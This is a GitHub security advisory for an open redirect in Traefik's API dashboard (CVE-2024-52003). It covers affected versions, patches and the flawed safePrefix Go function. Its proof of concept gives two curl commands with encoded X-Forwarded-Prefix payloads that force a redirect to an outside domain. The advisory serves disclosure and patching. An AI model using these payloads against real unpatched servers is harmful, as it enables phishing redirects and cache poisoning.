GHSA-h924-8g65-j9wg
Traefik's X-Forwarded-Prefix Header still allows for Open Redirect
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Go | github.com/traefik/traefik/v2 | < 2.11.14 | 2.11.14 |
| Go | github.com/traefik/traefik/v3 | < 3.2.1 | 3.2.1 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Impact
There is a vulnerability in Traefik that allows the client to provide the `X-Forwarded-Prefix` header from an untrusted source.
### Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.14
- https://github.com/traefik/traefik/releases/tag/v3.2.1
### Workarounds
No workaround.
### For more information
If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).
<details>
<summary>Original Description</summary>
### Summary
The previously reported open redirect ([GHSA-6qq8-5wq3-86rp](https://github.com/traefik/traefik/security/advisories/GHSA-6qq8-5wq3-86rp)) is not fixed correctly. The safePrefix function can be tricked to return an absolute URL.
### Details
The Traefik API [dashboard component](https://github.com/traefik/traefik/blob/master/pkg/api/dashboard/dashboard.go) tries to validate that the value of the header X-Forwarded-Prefix is a site relative path:
```go
http.Redirect(resp, req, safePrefix(req)+"/dashboard/", http.StatusFound)
```
```go
func safePrefix(req *http.Request) string {
prefix := req.Header.Get("X-Forwarded-Prefix")
if prefix == "" {
return ""
}
parse, err := url.Parse(prefix)
if err != nil {
return ""
}
return parse.Path
}
```
### PoC
An attacker can bypass this by sending the following payload:
```bash
curl -v 'http://traefik.localhost' -H 'X-Forwarded-Prefix: %0d//a.com'
[...]
> HTTP/1.1 302 Found
> Location: //a.com/dashboard/
```
or similar:
```bash
curl -v 'http://traefik.localhost' -H 'X-Forwarded-Prefix: %2f%2fa.com'
[...]
> HTTP/1.1 302 Found
> Location: //a.com/dashboard/
```
### Impact
Similar to the previously reported bug. In cache poisoning scenarios this may be exploitable.
</details>
References
External links from the advisory. They lead to third-party sites.
- https://github.com/traefik/traefik/security/advisories/GHSA-h924-8g65-j9wg
- https://nvd.nist.gov/vuln/detail/CVE-2024-52003
- https://github.com/traefik/traefik/pull/11253
- https://github.com/traefik/traefik
- https://github.com/traefik/traefik/releases/tag/v2.11.14
- https://github.com/traefik/traefik/releases/tag/v3.2.1